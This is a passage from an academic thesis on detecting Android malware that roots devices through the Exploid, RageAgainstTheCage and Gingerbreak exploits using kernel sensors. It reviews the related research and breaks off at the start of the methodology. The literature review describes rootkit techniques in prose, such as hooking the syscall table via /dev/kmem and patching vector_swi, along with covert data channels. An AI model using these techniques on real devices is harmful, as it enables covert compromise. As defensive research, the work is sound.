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Abstract
Every year, malefactors continue to target the Android operating system. Malware
which root the device pose the greatest threat to users. The attacker could steal stored
passwords and contact lists or gain remote control of the phone. Android users require a
system to detect the operation of malware trying to root the phone.
This research aims to detect the Exploid, RageAgainstTheCage, and Gingerbreak
exploits on Android operating systems. Reverse-engineering 21 malware samples lead
to the discovery of two critical paths in the Android Linux kernel, wherein attackers can
use malware to root the system. By placing sensors inside the critical paths, the research
detected all 379 malware samples trying the root the system. Moreover, the experiment
tested 16,577 benign applications from the Oﬃcial Android Market and third party Chinese
markets which triggered zero false positive results.
Unlike static signature detection at the application level, this research provides
dynamic detection at the kernel level. The sensors reside in-line with the kernel’s
source code, monitoring network sockets and process creation. Additionally, the research
demonstrates the steps required to reverse engineer Android malware in order to discover
future critical paths. Using the kernel resources, the two sensors demonstrate eﬃcient
asymptotic time and space real-world monitoring. Furthermore, the sensors are immune to
obfuscation techniques such as repackaging.
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DETECTION AND PREVENTION OF ANDROID MALWARE ATTEMPTING TO
ROOT THE DEVICE
I. Introduction
1.1 Background
In the last seven months of 2011, malware on Android tripled [23]. The popularity
of phone hacks grows every year largely in part of the successful proﬁteering of phone
hacks. Of the 1,260 Android malware samples collected from the Android malware genome
project [56], over 45.3% supported autonomous sending of short message service (SMS)
texts to hacker-controlled, premium-rate numbers. The victim could then pay $1-$2 dollars
for each text. Over 51% collected user information which possibly includes visited bank
websites. In addition, 90% turned the phone into a bot. The malware writers sell the botnet
on the black market.
Around 36.7% of malware samples try to leverage root (full) privileges to the phone.
Malware with root privileges pose the highest threat to users’ security and privacy [56].
From the sample, the malware leverages at least one of the following root exploits. The
root exploits are known as:
• Exploid,
• RageAgainstTheCage (RATC)
• Gingerbreak, and
• Asroot.
1
The exploits KillingInTheNameOf and zergRush all root the phone, but no
malware family currently uses the exploits [56]. In addition, some researchers refer to
RATC as Zimperlich [41]. To narrow the scope of this thesis, the research objects will
only include Exploid, RATC, and Gingerbreak.
Today, customers rely on the Android operating system to store their private and
privileged information. The device knows their location via global positioning system
(GPS) and wireless local area network (WLAN) tracking. The device can collect
conversations and even watch the victim via the webcam. Customers need a solution to
detect malware trying to root their phones.
1.2 Research Contributions
1. Develop an accurate method to detect malware on Android devices which leverage
Exploid, RATC or Gingerbreak privilege escalation.
2. Ensure the method detects the malware over 95% of the time with less than 0.5%
false positive rate.
3. Provide a repeatable method to reverse-engineer Android malware in order to ﬁnd
signature paths inside the malware.
4. Demonstrate where to ﬁnd the critical paths in the kernel to block the malware while
not hindering legitimate application usability.
The goal of this research is to develop an accurate method to detect rooting
of Android devices. Rooting the phone results in a loss of countermeasures against
malware. Android’s built-in malware prevention assumes the malware runs as a user-land
process. Furthermore, this research will detect the malware running local root exploits.
The research must accurately determine Exploid, RageAgainstTheCage (RATC), and
Gingerbreak exploits 95% of the time with less than 0.5% false positive rate. The research
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must detect any variation to the three exploits. To ensure this goal, the research must rely
on behavior analysis rather than signature detection.
In addition, the research must provide a repeatable method that future researchers may
perform to defend against future exploits. The research must demonstrate how to reverse-
engineer Android malware in order to ﬁnd critical paths inside the code. Next, the research
must explain where to ﬁnd the correct place in the kernel to block the critical path while
not hindering legitimate application usage.
1.3 Assumptions/Limitations
The research deﬁnes testable malware as any program attempting to jailbreak the
phone using Exploid, RageAgainstTheCage, or Gingerbreak. The research only
examines malware that attempt to root the device. Therefore, any malware which chooses
not to root the phone is not testable. This research only concerns itself with malware
trying to leverage root permissions. For future root exploits, the research provides the
methodology researchers may follow to detect the attack.
1.4 Preview
Chapter II introduces other techniques invented by the community to detect Android
malware. Chapter III presents the design of the experiment and explains how the study
determines successful detection. Next, Chapter IV describes the design and development of
the kernel detection algorithm tested in the experiments. Chapter V shows the experimental
results and their signiﬁcance. Finally, Chapter VI concludes the thesis, recaps the pertinent
highlights, and provides guidance on future research.
3
II. Background
2.1 Introduction
Mobile malware protection requires understanding how malware currently works on
Android and the current countermeasures against malware. This chapter looks at current
malware and anti-malware detection techniques.
In the academic community, researchers focus on oﬀensive (for example, new
vulnerabilities for future researchers to mitigate) [1, 54] and defensive [16, 19, 20, 25,
33, 39, 47, 49, 52, 55] techniques for Android security. This thesis will focus on defensive
techniques, but will need to defend against new malware techniques. For the defensive
studies, researchers perform static [33, 47, 55] or dynamic [16, 19, 20, 25, 39, 49, 52]
analysis. This thesis focuses on dynamic analysis to detect rooting of the phone.
2.2 Oﬀensive Techniques (Rootkits)
The following sections show the current malware research for Android devices in a
academic community. They introduce new vulnerabilities in mobile security for future
researchers to consider. For this thesis, they also provide insight on rootkit behavior on
Android devices.
2.2.1 Enhancing Stealthiness And Eﬃciency of Android Trojans and Defense
Possibilities (EnSEAD).
Ali et al. discuss stealth techniques in rootkits that could defeat the Dalvik Virtual
Machine (DVM), proposed behavioral based detection of malware, and proposed security
policies to mediate interaction between applications [1]. They extended the Android
Trojan Soundcomber to utilize covert channels to send data to the master malicious server.
Soundcomber already handles persistence. This new Trojan, Contact Archiver, utilizes four
diﬀerent covert channels including:
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1. vibration settings,
2. volume settings,
3. screen brightness settings, and
4. ﬁle locks.
The writers of this Trojan must ensure minimal user interaction during transmission to
prevent the user from interfering with the message by creating noise on that covert channel.
These covert channels assume that two applications exist. One application sends secret
information and another collects the information. For collecting sensitive information, the
Trojan listens to phone conversations and pulls out data such as credit card numbers and
key-pressed PINs.
The paper includes the experiment results from using the covert channel. To increase
throughput, the Trojan sends compressed data based on credit card numbers, PINs and
contact list formats [1]. To further increase the covert channel’s stealthiness, the authors
could also encrypt the data. They included numerical data showing that compression
improves as number of contacts increase. As future work, the team desires to implement
techniques to mitigate the eﬀectiveness of covert channels in Android devices.
2.2.2 Android platform Based Linux Kernel Rootkit.
Dong-Hoon You and Bong-Nam Noh demonstrate diﬀerent Android rootkits that
take advantage of the loadable kernel module (LKM) and /dev/kmem (device access
technology) [54]. The paper looks at kernel hooking techniques for Android devices using
an advanced reduced instruction set computing (RISC) machine (ARM) architecture. The
paper includes three diﬀerent techniques to install a rootkit in Android. The authors discuss
these techniques to encourage more studies to protect against Android rootkits [54].
First, the paper discusses modifying the sys call table contents via /dev/kmem.
This requires root user authorization. The paper provides sample code from the Android
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operating system (OS) to explain where the vulnerabilities exist. Since rootkit detection
tools will track this exploit to the sys call table ﬁle, the authors discuss techniques
to modify the sys call table in heap memory without touching the actual ﬁle. The
attacker modiﬁes the vector swi handler routine to place a copy of the sys call table
in memory. Surprisingly, only one line in vector swi requires modiﬁcation to point the
OS to the rootkit’s sys call table. Because the later only modiﬁes heap memory, the
rootkit does not persist across reboots.
Second, the paper discusses modifying the vector swi exception handler to point to
the attacker’s copy of sys call table. With three more steps, the authors demonstrate
how to perform this technique without physically modifying the vector swi ﬁle. Instead
the attacker changes the oﬀset of a four byte branch instruction code called automatically
when the software interrupt occurs [54]. This helps to evade malware detection since
the attacker avoids modifying system ﬁles.
Next, the authors provide links showing the sophistication of rootkits using these
exploits. At this point, the authors infer that smartphone rootkits contain the same danger
as traditional personal computer (PC) architecture rootkits. In fact, hackers ported some
PC rootkits over to Android [54].
This paper drew most of its knowledge from Phrack Magazines to explain diﬀerent
techniques for creating rootkits. The paper included no experimentation results. The
authors’ contribution was to acknowledge the work already done in Android rootkits.
2.3 Defensive Techniques
Android malware defense falls into static and dynamic analysis. Static analysis tries
to detect malware before the application attempts to run. Dynamic tries to detect malware
after the application executes.
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2.3.1 Static Analysis.
The following researchers proposed new static techniques to detect malware before
the malware runs on the device. The techniques include new security policy syntax and
application byte-code examination. The new detection techniques do not rely on traditional
signature-based antivirus.
2.3.1.1 Extending Android Security Enforcement with a Security Distance
Model.
Tang et al. focus on a distance model to protect Android users [47]. The Android
security enforcement with a security distance (ASESD) model looks at the relationship of
permission sets that Trojan applications typically require. The model calculates the threat
point of an application with Equation 2.1.
R =
(∑
dc +
∑
di j × djk
)
×G (2.1)
The dc in the equation stands for the closed security distance (SD) of the application.
Variables di j and djk, stand for the related unclosed SD. Subscripts i and k represent the
diﬀerent permissions of the two pairs. Subscript j represents the same permission of the
two pairs. Variable G stands for the number of classiﬁcations the application requires. The
overall threat point of the application is denoted in R.
To determine values for safe and unsafe combination of permission pairs, the
researchers tested 100 applications from the Android market, but excluded how they
selected those sample applications. The paper focuses on pairs only, but triples or fours
could also be dangerous.
The conclusion states that threat points R from Equation 2.1 smaller than 20 are safe
[47]. Having a larger test sample would help validate the authors’ conclusion. Because
ASESD only focuses on one application at a time, the security distance model would have
diﬃculty detecting covert channels using more than one application. For example, suppose
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two (or more) covert channel applications divide the oﬀending permission sets between
each other. Therefore, each application achieves a threat point lower than 20, but together,
they represent a threat to the device.
2.3.1.2 TrustDroid (TM).
Zhibo Zhao and Fernando Osorio developed static analysis tracking for companies
trying to prevent information leakage [55]. Their contribution includes creating a portable
static analysis system. By being portable, the authors state that the application works on
multiple platforms without modiﬁcation of the TrustDroid’s source code.
TrustDroid works by examining the byte code of Android applications in search of
signatures. These signatures represent code which tries to manipulate sensitive information.
TrustDroid marks the manipulated data as tainted. The program watches the data propagate
in the byte code. If the tainted data ﬂows out through a pre-deﬁned taint “sink”, TrustDroid
ﬂags the operation [55]. TrustDroid performs the above operation via static analysis of the
byte code. The authors chose static analysis over run-time analysis to reduce battery and
resource consumption.
Next, the authors discuss the methodology of creating TrustDroid. The methodology
includes creating signature detection and taint propagation rules. The authors discuss the
user’s responsibility to conﬁgure and protect TrustDroid [55]. Conﬁguring the application
requires the user to choose the correct rule sets for their security requirements. Based on
Saltzer and Schroeder’s psychological acceptability principle [51], choosing rule sets may
overburden most users and therefore limit the eﬀectiveness of TrustDroid.
The authors do not discuss the success of covert channels and rootkits to bypass the
security mechanisms. Furthermore, the authors state that pre-infected devices are outside
the scope of their assessment. Polymorphic code could circumvent static analysis [55].
Further experimentation using actual malware samples on TrustDroid will help
validate the authors’ contribution. The authors already stated they started modifying
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TrustDroid to work with user-imported libraries [55]. The additional user contributed work
will help expand the project to reach diﬀerent security requirements.
2.3.1.3 Semantically Rich Application-centric Security in Android.
In the paper, Ongtang et al. consider the security requirements of smartphone
applications and augment the existing Android operating system with a framework to
protect applications from abuse [33]. Saint © governs install-time permissions and their
run-time use by the application provider’s policy. The Android security model is system-
centric. The Android OS tries to protect the phone from malicious applications, but
provides limited means for applications to protect themselves. Saint helps applications
to protect themselves from abuse. The Saint policies provide three main contributions.
1. permission assignment policy: Applications may white-list or black-list the other
applications that access their interfaces.
2. interface exposure policy: Applications have ﬁner control over how other applica-
tions may utilize their interfaces. For example, Application A may send remote
procedure calls (RPCs) to Application B and visa versa, but Application C may only
send RPCs to Application B.
3. interface use policy: Applications decide at run-time which interfaces it will use
[33].
The Saint security model taxonomy breaks into permission granting system (install-time)
and interaction policy (run-time) subcomponents. The permission granting system (install-
time) divides into protection-level based, signature-based and application conﬁguration
policies. For interaction policy (run-time), the taxonomy breaks into permission-
based access control, signature-based, application conﬁguration based, and context-based
policies. The interaction policies modify the Android operating system to monitor input
and output to the Davlik virtual machine (DVM). Figure 2.1 shows the diﬀerent policies.
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Figure 2.1: Policy Tree for Saint [33]
Saint utilizes extensible markup language (XML) for policy format. The policies look
similar to stateful, network-level ﬁrewalls [33]. Saint’s runtime enforcement regulates
starting new activities, binding components to services, receiving broadcast intents and
accessing content providers.
The project is at the starting phase. The authors wish to perform more tests to
validate the usability of this method. Likewise, the authors want to pursue a public key
infrastructure (PKI) for Android developers to distribute their Saint policies. This technique
will protect applications from other applications, but will not prevent users from installing
Trojans. Because Saint is still in the early phases of testing, there were no results describing
the added security Saint provides for applications subscribing to Saint policies.
2.3.2 Dynamic Analysis.
Dynamic analysis tries to discover malware by searching for malicious activity. The
researchers approach the subject by installing sensors on either the device or network
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associated with the phone. With dynamic analysis, the researchers must also consider the
limited battery power and resources of the phone.
2.3.2.1 YAASE: Yet Another Android Security Extension.
A privilege spreading attack is a technique where malware writers mask their
privileges by spreading the permissions through several colluding applications. A confused
deputy is a privileged program that a malicious program fools into misusing its authority.
Rusello et al. proposed a new security model for Android that helps thwart the leakage of
sensitive information by privilege spreading attacks and confused deputy attack [39]. The
YAASE extension works on top of the Android application sandbox to prevent privilege
spreading attacks. The framework speciﬁes where a phone may send private information
(based on Internet Protocol addresses), and prevents confused deputy attacks.
Several other researchers came up with security extensions as well. TrustDroid©
proposes dynamic taint analysis that defends against runtime attacks and data leakage [39].
Likewise, QUIRE thwarts the confused deputy attack by tracing remote procedure call
(RPC) chains to ensure only applications with the correct privileges execute the call [39].
In addition, AppFence extends TrustDroid to include shadowing [39]. Shadowing simply
anonymizes the data sent over the network.
The YAASE architecture also extends the TrustDroid architecture to improve privacy
[39]. The YAASE architecture injects itself into the Dalvik Virtual Machine (DVM) and its
boundary points. To govern the boundary points, YAASE modiﬁes the socket.open(),
sendStream(), CursorWindow, and LibBinder modules. These functions ﬂow through
the YAASE’s Policy Enforcement Point (PEP) to ensure the validity of the action. The
policy language looks similar to security enhanced Linux (SELinux). The rule sets contain
an operation and requester application that may execute on a resource. Like
SELinux, the Android OS will require constant policy updates to handle the many rule
sets. For this purpose, YAASE includes a user setting interface (USI). Every time the
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user installs a new application, the USI pre-generates rules based on the new application’s
manifest ﬁle. The conference paper did not include any evaluations on Android user’s
acceptance to using USI for YAASE policy management.
The paper included a performance evaluation of YAASE security compared to a stock
Android phone. The performance looked at YAASE with 0 to 80 policies running on the
machine at once. They also tested 50 applications regarding side eﬀects to the security
enhancements. Two-thirds do not present visible side eﬀects, but the paper did not provide
a description of these side eﬀects. To improve the validity of this security enhancement,
larger test sizes of applications would buttress the eﬀectiveness of YAASE. Also, a user
acceptance test would demonstrate the adoption of the product. For further testing, instead
of having the user create policies, perhaps the user could download pre-built policies for
each application automatically similar to SELinux on Fedora Core distributions.
2.3.2.2 Security controls for Android.
Vargas et al. introduce new security controls for the Android OS to harden the system
for business needs [49]. They identify several vulnerabilities for cell phones, for example:
1. an attacker can sniﬀ the data transmitted through the network,
2. the user ultimately decides the permissions an application may have,
3. no encryption for data at rest, and
4. no ﬁrewall by default.
Next, the authors discuss diﬀerent applications to install on Android to harden the
system against these attacks. The recommendation calls for installing Android from the
source [49]. In the paper, they show how to implement a ﬁrewall at compile time. The
paper shows the minimum packages required to install Android (reduce attack footprint),
but the paper does not elaborate how they decided which packages to keep. Next, the
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paper suggests adding the National Security Agency’s (NSA) SELinux for Android. After
installing SELinux, the authors suggest adding cryptsetup for data encryption as well as
obfuscating banners and system messages.
After explaining how to harden Android, the authors provide no testing data to prove
the hardening techniques meet the security requirements for businesses. It also did not
include a comparison of the hardened Android device against a typical Android device. A
possible research area includes testing that the hardened device protects a user better from
Trojans. The recommended suggestions need documentation that the techniques provide
increased security for users.
2.3.2.3 Kernel-based Behavior Analysis for Android Malware Detection.
Isohara et al. propose the current Android audit framework, logcat, fails to provide
the needed information to investigate system compromises from Trojans [20]. This
program, designed for debugging software, will not generate the reports necessary to detect
Trojans. The team proposes a kernel-based behavior analysis program. The program
automatically looks for signatures of information leakage (such as credit card numbers,
subscriber identity module (SIM) serial numbers, and Gmail accounts). The detections
automatically generate reports.
After testing the kernel-based behavior analysis program on 230 applications, the
system detected 37 applications which leaked some kind of personal information, 14
applications executed exploit code, and 13 applications launched destructive code. The
paper did not explain how the authors chose the 37 sample applications. However, most
came from the Android market.
To provide meaningful results, the researchers logged events based on system calls
and signatures of private information (such as credit card numbers). The collection of
system calls with private information became signatures for malware detection. The paper
provides 16 basic signatures for malware detection.
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The paper discusses application level Trojans that meet those 16 signatures, but
not Trojans that obfuscate their communication. The authors left Trojans that hide
communication via covert channels as outside the scope of this research. In addition, the
authors did not include the number of false positives, but they state the logs generate a high
volume of noise [20].
2.3.2.4 Detecting covert communication on Android.
Hansen et al. created an application layer covert channel communication detector
for Android [16]. The application requires no special permissions from the user. To the
authors’ knowledge, this is the ﬁrst application-level detector for covert channels that runs
on behavioral patterns to identify communication between two channels [16].
The program monitors the vibration, volume, and wake-lock channels on Android
devices. The authors claim 100% detection accuracy in simulations that communicated
via the proposed channels [16]. The authors do not supply the number of simulations
performed. For detecting covert channels, the researchers looks for applications breaking a
calculated threshold. The researchers based the threshold number on covert channel activity
during the execution of legitimate software (with room for noise).
The threshold number discovered proved lower than most covert channels can eﬀec-
tively communicate. If Trojans discover the threshold number and drops communication
below the threshold, they face challenges with noise. In addition, the threshold number
changes based on user activity. For example, if the user locks the device, the threshold
number for volume shrinks by half. During the highest threshold (active user) counts, only
4 bits per second (bps) could be sent through the vibration medium. The theoretical 4bps
requires no noise on the covert channel. The authors adjusted the threshold count when:
1. the phone is locked, or
2. the phone’s screens is oﬀ.
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With these low thresholds that dynamically change to lower thresholds based on user
activity, none of the covert channels escaped detection. However, the authors did not list
the number of actual malware samples tested. The authors left covert channels via other
means as future work.
2.3.2.5 A Cloud-Based Intrusion Detection System For Android Smartphones.
Khune and Thangakumar provide a solution for Android intrusion detection using
the cloud with security as a service (SECaaS) [25]. Utilizing cloud-based services, the
smartphone saves battery life since the servers perform the major calculations. The
smartphone only need to upload data and wait for a response.
The authors demonstrate the usefulness of cloud-based antivirus (Mobile Agent)
versus Kaspersky Mobile and ClamAV based on number of signatures. The cloud-based
solution contained over 20 times more signatures plus behavior detection. The cloud-based
detection also contained a higher level of coverage based on the other two antivirus software
products.
Next, the authors provide a system design for the cloud-based intrusion detection
system (IDS) and the mobile agent. Each Android device contains the mobile agent which
sends and communicates with the cloud server. The IDS in this paper includes:
1. antivirus,
2. emulator for runtime analysis of replicated applications,
3. memory scanner,
4. system call anomaly detection, and
5. Internet proxy [25].
While the cloud could protect the devices, the paper neglects to discuss the security needed
to protect the cloud server. This server will also contain the collected data of all Android
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devices which could result in privacy concerns. Spies and hackers alike would target the
cloud service. In addition, how would the cloud protect a device with no service? Likewise,
companies need to estimate the cost to implement such an IDS on a network. They should
also consider the conﬁdentiality, integrity and availability concerns associated with the
Android device’s dependence on the cloud network.
In addition to new security concerns when moving Android devices to the cloud,
researchers may test the performance loss (if any). A performance increase could persuade
researchers to further investigate cloud-based security. Privacy critics may require further
research to ensure conﬁdentiality inside the cloud.
2.3.2.6 A Cloud-Based Intrusion Detection And Response System For Mobile
Phones.
In this paper, Houmansadr et al. propose a cloud-based smartphone speciﬁc intrusion
detection system (IDS) to detect misbehavior [19]. In addition, the IDS determines the
appropriate response to each detection. They seek to provide security transparently to the
user with light resource requirements for the actual Android device and real-time IDS [19].
Live testing on actual smartphones could help demonstrate the conclusions and
goals. For example, testing the IDS against actual malware could further the research’s
contributions. In addition, latency tests could demonstrate the research’s feasibility.
2.3.2.7 Android Malware Detection via a Latent Network Behavior Analysis.
In this paper, Wei et al. propose latent network behavior to detect malware using
independent component analysis (ICA) [52]. They stated the proposed mechanism
provides:
1. tolerance of polymorphic code,
2. an approach to detect malicious network behavior, and
3. automatic detection of malicious Android applications.
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To test the validity of their concept, they collected 310 types of Android malware
in 2012. From their tests, they detected malicious applications with nearly 100 percent
accuracy, precision, and recall rate. However, the authors did not report the number of
false positives from their analysis tool, Droid Box.
Next, the paper demonstrates the mathematical formulas utilized to determine malware
behavior. From the test results, the team presents charts showing their ﬁndings. The results
have a greater than 95% detection rate when using 10 independent components (IC) [52].
2.4 Surveys
Some researchers chose to survey the current situation for Android security. They
provide a better understanding of the battleﬁeld, and oﬀer some new insight into the subject.
In addition, they provide suggestions for areas of improvement.
2.4.1 Google Android: A Comprehensive Security Assessment.
This paper includes a list of security assessments one could apply to Android operating
systems. The paper looks at attack vectors such as Bluetooth, IEEE 802.11 networks, third
generation (3G) networks, and universal serial bus (USB). To start, Shabtai et al. discuss
the security mechanisms incorporated into the Android operating system. They provide
defense in depth for the device and include:
1. Linux security mechanisms,
2. environmental security mechanisms, and
3. Android speciﬁc security mechanisms.
The paper describes the security mechanisms inside each category. While describing the
Linux mechanisms, the authors quickly talk about the root user, but no root security
protections. Further studies to protect this coveted and privileged account would beneﬁt
the community.
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For the security assessment, the team looked at code review, application’s permission-
granting mechanisms, and application installation process [42]. The paper only looked
at one phone (HTC G1 smartphone). Since each vendor implements the Android OS
diﬀerently, testing several diﬀerent phones is necessary. The paper acknowledges the
threats caused by web-based attacks, such as cross site scripting (XSS) and standard query
language (SQL) injection, but decided not to include them in their threat cluster diagram.
The assessment results are qualitative with likelihood of attack ranges from unlikely,
possible, and likely, and impact ranges from minor, moderate and severe. Because
of the broad scope of the assessment, a quantitative assessment would not work. Future
researchers may narrow the scope of the project to provide quantitative values such as time
and money. The mitigation level and eﬀort for each countermeasure were also qualitative.
The paper did not include tests or numbers to demonstrate the qualitative results.
2.4.2 Dissecting Android Malware: Characterization and Evolution.
In this paper, Zhoue and Jiang aim to systematize existing Android malware by
categorizing the diﬀerent malware families [56]. They collected 1,260 malware samples
from August 2010 to October 2011. Their one year study resulted in the discovery of
49 diﬀerent malware families. Roughly 36.7 percent of the malware contained local
privilege escalation attacks. Of the four antivirus programs downloaded (AVG antivirus
free, Lookout Security & antivirus, Norton Mobile Security Lite, and Trend Micro Mobile
Security Personal Edition), the best antivirus only detected 79.6 percent of the malware,
and the worst case found 20.2 percent [56].
Next, the team discussed the methods Android malware drops itself into the ﬁlesystem,
activates and carries malicious payloads to the victim. Roughly 80 percent repackage
themselves in legitimate applications. The malware developers download popular Android
applications and inject their malicious payload into the code. Next, the developers post the
repackage software to the Android market or alternative application stores.
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The second type of installation method is an update attack. With this attack, hackers
better mask the malware from antivirus. Instead of piggybacking the entire payload into
the Trojan, update attacks only include a web-update component in the Trojan application.
The web-update component will download the malware payload at runtime. Four malware
families adopted this attack [56]. The malware developers increased the sophistication of
the attack by upgrading only certain components in the host applications. This avoids the
requirement for the user to approve the update.
Third, drive-by downloads trick the victim to download interesting software while
surﬁng the Internet. Four malware families exploited this technique. Other means to entice
the user include in-app advertisements and quick response (QR) codes. Both means cause
the victim to visit a targeted website to download the malicious payload [56].
Next, the authors transition to various payload types. From their malware sample, they
distributed the payload types into privilege escalation, remote control, ﬁnancial charges,
and personal information stealing. Privilege escalation attempts to escalate the malware to
root permissions. From the 1,260 malware samples, the authors came across six methods
used by malware to gain root permissions. At least 36.7 percent of the malware tried to
gain root permissions. Of the malware samples vying for root permissions, 81.6 percent
utilized more than one root exploit [56].
The next type of payload is remote control. Ninety-three percent of the malware
infected phones and turned them into bots. At least three malware families encrypted their
communication and the uniﬁed resource locators (URL) of their command and control (C2)
servers [56].
Besides remote control, 45.3 percent of the malware utilized ﬁnancial charge payloads.
The malware subscribes to attacker-controlled and premium-rate short message system
(SMS) services. In Android, the function, sendTextMessage(), will send a text message
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in the background without user awareness. Some malware will also make phone calls in
the background to incur charges on the victim [56].
Finally, 51.1 percent of the malware harvested user information. Thirteen families
collected simple message system (SMS) messages, 15 families collected contact informa-
tion, and 3 families gathered user account information. For SMS stealing, two families
looked speciﬁcally for SMS veriﬁcation messages for uploading to the command and con-
trol server. The attacker could later generate fraudulent transactions on behalf of the in-
fected users [56].
This paper provided detailed information about the current status of malware. With
1,260 samples, the journal discovered 49 malware families. Likewise, the 58 references
and one-year research time helped buttress the value of the research.
2.4.3 My smartphone is a safe! The user’s point of view regarding novel
authentication methods and gradual security levels on smartphones.
Dorﬂinger et al. describe the user’s perception of and the need for a graded security
systems [12]. Using four focus groups with nineteen respondents, the authors evaluate
diﬀerent authentication methods for smartphones. Due to the nature of focus groups,
the team provided qualitative results for the paper. However, this methodology allowed
participants to discuss their point of view and develop assumptions from other participants
[12].
Of note, all participants in the exercise were between 25 to 34 years old. Half were
students and the other half were working full time. The opinions of 25-34 year olds on
security may diﬀer from older and younger users in regards to security. The focus groups
looked at eight authentication methods which included:
1. ﬁngerprint authentication,
2. 3D gesture recognition,
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3. retina scan,
4. activity based veriﬁcation,
5. 2D gesture recognition,
6. recognition based authentication,
7. speaker recognition, and
8. face recognition [12].
For each method, the testers ask the participants their opinion if they think the method is
secure, and good. In addition, the testers ask the participants if they would personally
use the authentication method [12]. Of note, most users showed a strong preference
for ﬁngerprint authentication. Ninety-ﬁve percent of participants claim ﬁngerprint
authentication is secure, 89 percent state ﬁngerprint authentication is good, and 95 percent
state they would use ﬁngerprint authentication. One hundred percent of participants discuss
retina scan as secure, but only 26 percent claimed they would want to use retina scan for
authentication [12].
Finally, the users discuss their opinion on security for smartphones. The participants
mention diﬀerent people have diﬀerent security needs [12]. They suggested that Android
come with security levels (similar to Internet Explorer) for users to conﬁgure. However,
the security should not require constant pestering of the user. In regards to authentication
via biometrics, the device should contain a PIN backdoor. To better explain, this backdoor
will make the device still usable if the user developed a sore throat or blister that fails the
biometric scan [12].
Overall, this paper summarizes usability for mobile security for users between the
ages of 25 to 34 years old. For further study, a researcher could test participants of diﬀerent
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age groups. The authors admitted budget constraints limited the number of surveyors for
this paper and may require future research [12].
2.4.4 Smartphone Security Challenges.
Wang et al. discuss the new security challenges for mobile phones [50]. They mention
the need for new security by citing the rapid growth of mobile malware. The authors also
describe the smartphone threat model. The threat model divides the smart phone into three
layers which are:
• application layer (includes all the smart phone’s applications),
• communication layer (includes the carrier network, Wi-Fi, Bluetooth, universal serial
bus (USB) and secure digital (SD) cards), and
• resource layer (includes ﬂash memory, camera, microphone and sensors) [50].
Next, the paper looks at viruses, Trojans and spyware. First, viruses typically embed
themselves inside desirable applications (mostly games) [50]. They can also spread through
Bluetooth. Bluejacking and bluesnarﬁng both attack smartphone devices with Bluetooth
enabled [50]. Trojans also hide themselves as legitimate and desirable applications. They
typically send background calls and instant messages to (attacker-controlled) premium-rate
services. Spyware tries to steal a victim’s personal information. Sixty-three percent of all
Android malware performs spyware operations [50].
Second, the authors present the threats and attacks on smartphones. Smartphone
threats include data leakage, phishing, web-traﬃc redirection (pharming), voice phishing
(vishing), airwave sniﬃng, spam, and attacker spooﬁng. The WebKit engine utilized by
most smartphones include a buﬀer overﬂow that allows an attacker to execute malicious
code [50].
For security challenges, no single security tool ﬁts all users. Most users only expect to
keep their phones for a short time. Therefore, security solutions need to transfer from one
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device to another [50]. Smartphone devices also increase security challenges, because they
contain limited resources (battery life, memory and processing power) compared to their
personal computer (PC) counterparts. Due to their size, users easily misplace smartphones.
In addition, the embedded sensors make tracking a victim simpler for the malware [50].
Finally, the paper provides advice for securing smartphones. The suggestions include
cloud-based security, encryption, increased user awareness, and limiting Bluetooth andWi-
Fi use. The authors provide the readers subtle signs to detect potential compromises. They
include warm battery during oﬀ times, the phone lights up at unexpected times, and the
phone unexpectedly beeps or clicks during phone conversations [50].
2.4.5 Android botnets on the rise: Trends and characteristics.
Pieterse and Oliver evaluate Android malware with the purpose of identifying speciﬁc
trends and characteristics relating to botnet behavior [36]. The paper reviews literature
regarding Android malware. From the review, the paper identiﬁes that most botnets come
from repackaged applications. The botnets receive commands, steal user information, and
infect the Android manifest ﬁle (AndroidManifest.xml) [36].
According to the study, the success of the Android OS has led to an increase in botnets.
On 29 December 2010, researchers discovered the Trojan Geinimi. Geinimi displayed the
ﬁrst traditional botnet functionality on Android [36].
Looking at the Android malware history, the authors note the use of command and
control (C2 or C&C) servers that control the Android botnets. The authors also noticed
that repackaged Trojans started in third party application stores, but have landed in the
oﬃcial Android market. DroidDream became the ﬁrst discovered malware to reach the
oﬃcial Android Market [36].
Since the authors wrote a survey, the paper did not include experiments. They relied
on literature reviews to validate their ﬁndings. Further experiments with actual malware
samples would help validate the malware characteristics discovered.
23
2.5 Summary
For every countermeasure against malware proposed, malware writers discover a new
means to circumvent the protection. This seemingly endless cycle requires a look at current
weaknesses in countermeasures and malware to provide stronger security for Android
devices. By detecting malware that roots the phone, the thesis furthers Android defense
against the latest malware threats. Table 2.1 compares this thesis to other research.
Other Research This Thesis
Oﬀensive (Rooting Techniques) [1, 54, 56]
Defensive [16, 19, 20, 25, 33, 39, 47, 49, 52, 55] X
Dynamic Detection [16, 19, 20, 25, 39, 49, 52] X
Static Detection [33, 47, 55]
Rooting Detection X
Kernel-based Detection X
Surveys [12, 36, 42, 50, 56]
Table 2.1: Summary of Research
This thesis will dynamically search for malware trying to root the phone. By writing
sensors directly into the kernel, the methodology avoids the cloud-based solutions some
other research requires. In addition, the sensors utilize existing kernel data structures and
operate inside the same functions which create new processes and sockets. Therefore, the
solution executes in real-time with little additional power. The other dynamic solutions
require more system resources. Unlike static analysis, malware obfuscation inside the
ﬁlesystem will not deter the sensors. If the malware tries to root the phone, they must
make system calls to the kernel. Those system calls run through the sensors. For the
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rooting techniques discussed in other research, this thesis will provide a means to prevent
the initial infection. After infection, the researchers demonstrate the diﬃculty in removing
the rootkit.
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III. Methodology
3.1 Introduction
This chapter explains the methodology of the research and will discuss the approach,
testing, boundaries, performance metrics and workload. The chapter begins with the thesis
contribution which is to discover a new method to detect malware attempting to root
the phone. Chapter 5 explains how the new algorithm run asymptotically faster and less
memory consumption than static detection algorithms.
3.2 Contribution
This thesis contributes to the body of knowledge by proposing a new algorithm to
detect and prevent malware trying the leverage root privileges by Gingerbreak, Exploid
or RageAgainstTheCage. In addition, the research will demonstrate how to ﬁnd signature
paths inside malware. Then, the research explains where in the Linux kernel to place
sensors by identifying critical paths.
3.3 Approach
The following section describes the approach developed to detect rooting of the
phone. They include developing kernel sensors inside critical paths and where those critical
paths exists. Then, the section describes the diﬀerent Android operating systems where the
critical paths apply.
3.3.1 Develop Kernel Sensors Inside Critical Paths.
Figure 3.1 shows the diﬀerent layers of the Android operating system [2]. At the
lowest level is the Linux kernel. The Linux kernel provides oversight to the above layers.
By installing the sensors inside the lowest layer, the sensors can watch the above layers
in real-time. The sensor can monitor applications, frameworks, libraries and the Dalvik
virtual machine for root-seeking malware.
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In addition, operating at the lowest layer increases the success of detection, because
the sensors can follow the malware’s ﬂow of execution inside the kernel. If the malware
desires to root itself, it must make system calls that the sensors monitor. For the malware’s
